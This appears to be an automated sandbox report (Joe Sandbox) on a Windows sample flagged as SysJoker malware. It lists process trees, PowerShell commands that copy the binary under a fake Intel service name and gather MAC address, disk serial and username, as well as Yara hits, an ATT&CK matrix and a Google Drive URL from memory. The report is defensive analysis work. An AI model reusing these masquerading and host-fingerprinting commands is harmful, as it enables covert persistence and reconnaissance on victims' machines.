Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" copy 'C:\Users\user\Desktop\qtjRj8L3Rw.exe' 'C:\ProgramData\SystemData\igfxCUIService.exe'	Jump to behavior
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Process created: C:\ProgramData\SystemData\igfxCUIService.exe "C:\ProgramData\SystemData\igfxCUIService.exe"	Jump to behavior
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" getmac \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps1.txt' ; wmic path win32_physicalmedia get SerialNumber \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps2.txt'	Jump to behavior
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $env:username \| Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\tempu.txt'	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\getmac.exe C:\Windows\system32\getmac.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" path win32_physicalmedia get SerialNumber	Jump to behavior

Source: igfxCUIService.exe, 00000007.00000002.829078812.0000000001430000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: igfxCUIService.exe, 00000007.00000002.829078812.0000000001430000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: igfxCUIService.exe, 00000007.00000002.829078812.0000000001430000.00000002.00020000.sdmp	Binary or memory string: .Program ManagerQEIA
Source: igfxCUIService.exe, 00000007.00000002.829078812.0000000001430000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: GetLocaleInfoW,	0_2_00C098B8
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00C0EAAA
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: EnumSystemLocalesW,	0_2_00C09396
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	0_2_00C0E31E
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00C0EC7F
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: EnumSystemLocalesW,	0_2_00C0E5C0
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: EnumSystemLocalesW,	0_2_00C0E6A6
Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe	Code function: EnumSystemLocalesW,	0_2_00C0E60B
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: EnumSystemLocalesW,	7_2_00D49396
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	7_2_00D4E31E
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: EnumSystemLocalesW,	7_2_00D4E5C0
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: EnumSystemLocalesW,	7_2_00D4E6A6
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: EnumSystemLocalesW,	7_2_00D4E60B
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	7_2_00D4E731
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: GetLocaleInfoW,	7_2_00D498B8
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: GetLocaleInfoW,	7_2_00D4E984
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_00D4EAAA
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: GetLocaleInfoW,	7_2_00D4EBB0
Source: C:\ProgramData\SystemData\igfxCUIService.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	7_2_00D4EC7F

Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe

Code function: 0_2_00BF5007 cpuid

0_2_00BF5007

Source: C:\Users\user\Desktop\qtjRj8L3Rw.exe

Code function: 0_2_00C098F7 GetSystemTimeAsFileTime,

0_2_00C098F7

Stealing of Sensitive Information:

Yara detected SysJoker

Show sources

Source: Yara match	File source: qtjRj8L3Rw.exe, type: SAMPLE
Source: Yara match	File source: 7.0.igfxCUIService.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.igfxCUIService.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.qtjRj8L3Rw.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.qtjRj8L3Rw.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.532048911.0000000000C1A000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.643724739.0000000000D5A000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: qtjRj8L3Rw.exe PID: 5732, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: igfxCUIService.exe PID: 4384, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\SystemData\igfxCUIService.exe, type: DROPPED

Remote Access Functionality:

Yara detected SysJoker

Show sources

Source: Yara match	File source: qtjRj8L3Rw.exe, type: SAMPLE
Source: Yara match	File source: 7.0.igfxCUIService.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.igfxCUIService.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.qtjRj8L3Rw.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.qtjRj8L3Rw.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.532048911.0000000000C1A000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.643724739.0000000000D5A000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.828629700.0000000000D5A000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.644558837.0000000000C1A000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: qtjRj8L3Rw.exe PID: 5732, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: igfxCUIService.exe PID: 4384, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\SystemData\igfxCUIService.exe, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation2	Application Shimming1	Process Injection12	Masquerading1	Input Capture1	System Time Discovery1	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Command and Scripting Interpreter1	Boot or Logon Initialization Scripts	Application Shimming1	Virtualization/Sandbox Evasion121	LSASS Memory	Security Software Discovery12	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	PowerShell2	Logon Script (Windows)	Logon Script (Windows)	Process Injection12	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Deobfuscate/Decode Files or Information11	NTDS	Virtualization/Sandbox Evasion121	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information2	LSA Secrets	Application Window Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	File and Directory Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Information Discovery32	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
qtjRj8L3Rw.exe	100%	Avira	TR/Redcap.rjsiq

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\SystemData\igfxCUIService.exe	100%	Avira	TR/Redcap.rjsiq

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://drive.google.com/uc?id=1W64PQQxrwY3XjBnv_QAeBQu-ePr537eu2	igfxCUIService.exe, 00000007.00000002.825495321.0000000000B8A000.00000004.00000020.sdmp	false		high
https://drive.google.com/uc?id=1W64PQQxrwY3XjBnv_QAeBQu-ePr537eu	igfxCUIService.exe, 00000007.00000002.825495321.0000000000B8A000.00000004.00000020.sdmp	false		high

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	1708662
Start date:	12.01.2022
Start time:	14:10:56
Joe Sandbox Product:	Cloud
Overall analysis duration:	0h 9m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	qtjRj8L3Rw (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10x64 version 1803 (IE 11.1, Chrome 67, Firefox 61, Adobe Reader DC 18, Java 8 Update 171)
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.troj.evad.winEXE@16/11@0/0
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 0.1% (good quality ratio 0.1%) Quality average: 53% Quality standard deviation: 0%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, dllhost.exe, WMIADAP.exe, WmiPrvSE.exe Excluded domains from analysis (whitelisted): go.microsoft.com, fs.microsoft.com, login.live.com, clientconfig.passport.net, settings-win.data.microsoft.com, ctldl.windowsupdate.com Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Signature Similarity

Sample Distance (10 = nearest)

10 9 8 7 6 5 4 3 2 1

Similar Samples

Samplename	Analysis ID	SHA256	Similarity

Simulations

Behavior and APIs

